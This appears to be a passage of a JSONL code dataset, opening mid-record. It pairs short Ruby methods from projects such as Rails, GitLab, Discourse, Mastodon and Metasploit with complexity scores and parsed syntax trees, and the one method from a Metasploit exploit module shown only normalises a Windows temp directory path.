"str\",\"children\":[\"DHCID\"]},{\"type\":\"int\",\"children\":[49]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"NSEC3\"]},{\"type\":\"int\",\"children\":[50]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"NSEC3PARAM\"]},{\"type\":\"int\",\"children\":[51]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"HIP\"]},{\"type\":\"int\",\"children\":[55]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"NINFO\"]},{\"type\":\"int\",\"children\":[56]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RKEY\"]},{\"type\":\"int\",\"children\":[57]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"TALINK\"]},{\"type\":\"int\",\"children\":[58]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SPF\"]},{\"type\":\"int\",\"children\":[99]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"UINFO\"]},{\"type\":\"int\",\"children\":[100]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"UID\"]},{\"type\":\"int\",\"children\":[101]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"GID\"]},{\"type\":\"int\",\"children\":[102]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"UNSPEC\"]},{\"type\":\"int\",\"children\":[103]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"TKEY\"]},{\"type\":\"int\",\"children\":[249]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"TSIG\"]},{\"type\":\"int\",\"children\":[250]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"IXFR\"]},{\"type\":\"int\",\"children\":[251]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AXFR\"]},{\"type\":\"int\",\"children\":[252]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MAILA\"]},{\"type\":\"int\",\"children\":[253]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MAILB\"]},{\"type\":\"int\",\"children\":[254]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"*\"]},{\"type\":\"int\",\"children\":[255]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"TA\"]},{\"type\":\"int\",\"children\":[32768]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DLV\"]},{\"type\":\"int\",\"children\":[32769]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RESERVED\"]},{\"type\":\"int\",\"children\":[65535]}]}]},\"values_at\",{\"type\":\"lvar\",\"children\":[\"idx\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reqns\"]}]}]}]}","id":"d3c695c0-dc61-4846-a5c1-a6d024366752"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_scan/dispatcher.rb","start_line":240,"raw_source":"def get_eligible_proxies_for_job(job)\n      Benchmark.current_realtime[:get_eligible_proxies_for_job_count] += 1\n\n      if @vm.nil?\n        msg = \"Unable to find vm [#{job.target_id}], aborting job [#{job.guid}].\"\n        queue_signal(job, {:args => [:abort, msg, \"error\"]})\n        return []\n      end\n\n      if (msg = @vm.unsupported_reason(:smartstate_analysis))\n        queue_signal(job, {:args => [:abort, msg, \"error\"]})\n        return []\n      end\n\n      vm_proxies, = Benchmark.realtime_block(:get_eligible_proxies_for_job__proxies4job) { @vm.proxies4job(job) }\n      if vm_proxies[:proxies].empty?\n        msg = \"No eligible proxies for VM :[#{@vm.path}] - [#{vm_proxies[:message]}], aborting job [#{job.guid}].\"\n        queue_signal(job, {:args => [:abort, msg, \"error\"]})\n        return []\n      end\n\n      vm_proxies[:proxies]\n    end","complexity_score":27.55,"ast_json":"{\"type\":\"def\",\"children\":[\"get_eligible_proxies_for_job\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Benchmark\"]},\"current_realtime\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"get_eligible_proxies_for_job_count\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@vm\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to find vm [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"target_id\"]}]},{\"type\":\"str\",\"children\":[\"], aborting job [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"guid\"]}]},{\"type\":\"str\",\"children\":[\"].\"]}]}]},{\"type\":\"send\",\"children\":[null,\"queue_signal\",{\"type\":\"lvar\",\"children\":[\"job\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"abort\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]},{\"type\":\"str\",\"children\":[\"error\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@vm\"]},\"unsupported_reason\",{\"type\":\"sym\",\"children\":[\"smartstate_analysis\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"queue_signal\",{\"type\":\"lvar\",\"children\":[\"job\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"abort\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]},{\"type\":\"str\",\"children\":[\"error\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},null]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"vm_proxies\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Benchmark\"]},\"realtime_block\",{\"type\":\"sym\",\"children\":[\"get_eligible_proxies_for_job__proxies4job\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@vm\"]},\"proxies4job\",{\"type\":\"lvar\",\"children\":[\"job\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vm_proxies\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proxies\"]}]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No eligible proxies for VM :[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@vm\"]},\"path\"]}]},{\"type\":\"str\",\"children\":[\"] - [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vm_proxies\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"message\"]}]}]},{\"type\":\"str\",\"children\":[\"], aborting job [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"guid\"]}]},{\"type\":\"str\",\"children\":[\"].\"]}]}]},{\"type\":\"send\",\"children\":[null,\"queue_signal\",{\"type\":\"lvar\",\"children\":[\"job\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"abort\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]},{\"type\":\"str\",\"children\":[\"error\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vm_proxies\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proxies\"]}]}]}]}","id":"65664657-aab1-4316-94a8-f1a86f61a898"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-narrative-bot/lib/discourse_narrative_bot/actions.rb","start_line":93,"raw_source":"def reply_to_bot_post?(post)\n      post&.reply_to_post && post.reply_to_post.user_id == -2\n    end","complexity_score":6.33,"ast_json":"{\"type\":\"def\",\"children\":[\"reply_to_bot_post?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"reply_to_post\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"reply_to_post\"]},\"user_id\"]},\"==\",{\"type\":\"int\",\"children\":[-2]}]}]}]}","id":"45b178ef-bac0-4911-99be-3c9988dcf941"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/rest/v1/notification_policy_serializer.rb","start_line":29,"raw_source":"def filter_private_mentions\n    !object.accept_private_mentions?\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_private_mentions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"accept_private_mentions?\"]},\"!\"]}]}","id":"8e74f7d6-252c-45d4-b6b4-dc1e8f99cee3"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/admin/backups_controller.rb","start_line":119,"raw_source":"def destroy\n    store = BackupRestore::BackupStore.create\n\n    if backup = store.file(params.fetch(:id))\n      StaffActionLogger.new(current_user).log_backup_destroy(backup)\n      store.delete_file(backup.filename)\n      render body: nil\n    else\n      render body: nil, status: :not_found\n    end\n  end","complexity_score":16.7,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"store\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BackupRestore\"]},\"BackupStore\"]},\"create\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"backup\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"file\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StaffActionLogger\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"log_backup_destroy\",{\"type\":\"lvar\",\"children\":[\"backup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"delete_file\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"backup\"]},\"filename\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"not_found\"]}]}]}]}]}]}]}","id":"4d8a355f-1dd9-4f59-be1d-623c96480863"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/test_output.rb","start_line":161,"raw_source":"def create_driver(conf=CONFIG)\n      Fluent::Test::OutputTestDriver.new(Fluent::ObjectBufferedOutput).configure(conf, true)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_driver\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"conf\",{\"type\":\"const\",\"children\":[null,\"CONFIG\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Test\"]},\"OutputTestDriver\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ObjectBufferedOutput\"]}]},\"configure\",{\"type\":\"lvar\",\"children\":[\"conf\"]},{\"type\":\"true\",\"children\":[]}]}]}","id":"f96a30d8-98e9-4382-8a97-834098f7a1d5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb","start_line":277,"raw_source":"def win_temp_dir\n    dir = \"\\\\#{win_dir}\\\\Temp\\\\\"\n\n    if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty?\n      dir = datastore['TEMP_DIR']\n    end\n\n    dir.gsub!(/\\//, \"\\\\\")\n    dir.gsub!(/^([A-Za-z]:)?/, \"\")\n\n    unless dir.start_with?(\"\\\\\")\n      dir = \"\\\\#{dir}\"\n    end\n\n    unless dir.end_with?(\"\\\\\")\n      dir = \"#{dir}\\\\\"\n    end\n\n    dir\n  end","complexity_score":23.7,"ast_json":"{\"type\":\"def\",\"children\":[\"win_temp_dir\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dir\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"win_dir\"]}]},{\"type\":\"str\",\"children\":[\"\\\\Temp\\\\\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TEMP_DIR\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TEMP_DIR\"]}]},\"empty?\"]},\"!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"dir\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TEMP_DIR\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^([A-Za-z]:)?\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"\\\\\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"dir\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"\\\\\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"dir\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"dir\"]}]}]}","id":"07056302-fe71-4159-9ad7-f3e1b4b5fdb3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/timeboxes_helper.rb","start_line":175,"raw_source":"def milestone_releases_tooltip_text(milestone)\n    count = milestone.releases.count\n\n    return _(\"Releases\") if count == 0\n\n    n_(\"%{releases} release\", \"%{releases} releases\", count) % { releases: count }\n  end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"milestone_releases_tooltip_text\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"milestone\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"milestone\"]},\"releases\"]},\"count\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Releases\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"n_\",{\"type\":\"str\",\"children\":[\"%{releases} release\"]},{\"type\":\"str\",\"children\":[\"%{releases} releases\"]},{\"type\":\"lvar\",\"children\":[\"count\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"releases\"]},{\"type\":\"lvar\",\"children\":[\"count\"]}]}]}]}]}]}","id":"bf75f091-ca28-4ee0-a9bd-cefb25b4ca4d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/todos/destroy/entity_leave_service_spec.rb","start_line":65,"raw_source":"def set_access(object, user, access_name)\n    case access_name\n    when :developer\n      object.add_developer(user)\n    when :planner\n      object.add_planner(user)\n    when :guest\n      object.add_guest(user)\n    end\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"set_access\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"access_name\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"access_name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"developer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"add_developer\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"planner\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"add_planner\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"guest\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"add_guest\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},null]}]}","id":"b813366d-ba6d-428c-9096-ad3221157ecc"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation/batches.rb","start_line":85,"raw_source":"def find_each(start: nil, finish: nil, batch_size: 1000, error_on_ignore: nil, cursor: primary_key, order: DEFAULT_ORDER, &block)\n      if block_given?\n        find_in_batches(start: start, finish: finish, batch_size: batch_size, error_on_ignore: error_on_ignore, cursor: cursor, order: order) do |records|\n          records.each(&block)\n        end\n      else\n        enum_for(:find_each, start: start, finish: finish, batch_size: batch_size, error_on_ignore: error_on_ignore, cursor: cursor, order: order) do\n          relation = self\n          cursor = Array(cursor)\n          apply_limits(relation, cursor, start, finish, build_batch_orders(cursor, order)).size\n        end\n      end\n    end","complexity_score":18.65,"ast_json":"{\"type\":\"def\",\"children\":[\"find_each\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"start\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"finish\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"batch_size\",{\"type\":\"int\",\"children\":[1000]}]},{\"type\":\"kwoptarg\",\"children\":[\"error_on_ignore\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"cursor\",{\"type\":\"send\",\"children\":[null,\"primary_key\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"order\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_ORDER\"]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_in_batches\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start\"]},{\"type\":\"lvar\",\"children\":[\"start\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"finish\"]},{\"type\":\"lvar\",\"children\":[\"finish\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"batch_size\"]},{\"type\":\"lvar\",\"children\":[\"batch_size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error_on_ignore\"]},{\"type\":\"lvar\",\"children\":[\"error_on_ignore\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cursor\"]},{\"type\":\"lvar\",\"children\":[\"cursor\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"lvar\",\"children\":[\"order\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"records\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enum_for\",{\"type\":\"sym\",\"children\":[\"find_each\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start\"]},{\"type\":\"lvar\",\"children\":[\"start\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"finish\"]},{\"type\":\"lvar\",\"children\":[\"finish\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"batch_size\"]},{\"type\":\"lvar\",\"children\":[\"batch_size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error_on_ignore\"]},{\"type\":\"lvar\",\"children\":[\"error_on_ignore\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cursor\"]},{\"type\":\"lvar\",\"children\":[\"cursor\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"lvar\",\"children\":[\"order\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"cursor\",{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"cursor\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"apply_limits\",{\"type\":\"lvar\",\"children\":[\"relation\"]},{\"type\":\"lvar\",\"children\":[\"cursor\"]},{\"type\":\"lvar\",\"children\":[\"start\"]},{\"type\":\"lvar\",\"children\":[\"finish\"]},{\"type\":\"send\",\"children\":[null,\"build_batch_orders\",{\"type\":\"lvar\",\"children\":[\"cursor\"]},{\"type\":\"lvar\",\"children\":[\"order\"]}]}]},\"size\"]}]}]}]}]}","id":"1e226871-045f-401e-8591-2452e54ec324"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/image.rb","start_line":29,"raw_source":"def save(path)\n      File.binwrite(File.expand_path(path), to_blob)\n      path\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"save\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"binwrite\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"to_blob\"]}]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}","id":"86f9c045-ef6f-4efc-bb7b-dd49d3c81dd0"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/api/conditional_get_test.rb","start_line":61,"raw_source":"def test_if_none_match_is_asterisk\n    @request.if_none_match = \"*\"\n    get :one\n    assert_response :not_modified\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_if_none_match_is_asterisk\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"if_none_match=\",{\"type\":\"str\",\"children\":[\"*\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"one\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"not_modified\"]}]}]}]}","id":"a47270e1-b1ba-46a3-bbe5-d97d40a68936"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/migration/unfinished_dependencies.rb","start_line":46,"raw_source":"def fetch_finalized_by(queued_migration_version)\n          ::Gitlab::Utils::BatchedBackgroundMigrationsDictionary\n            .new(queued_migration_version)\n            .finalized_by\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_finalized_by\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"queued_migration_version\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Utils\"]},\"BatchedBackgroundMigrationsDictionary\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"queued_migration_version\"]}]},\"finalized_by\"]}]}","id":"278fc150-c0bf-4251-9803-0a0fc2aa5f39"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/haml_lint/linter/inline_javascript.rb","start_line":16,"raw_source":"def visit_tag(node)\n        return unless node.tag_name == 'script'\n\n        record_lint(node, MSG)\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"tag_name\"]},\"==\",{\"type\":\"str\",\"children\":[\"script\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"record_lint\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"const\",\"children\":[null,\"MSG\"]}]}]}]}","id":"3dea58e2-edc5-4502-abbd-4dfe32958458"}
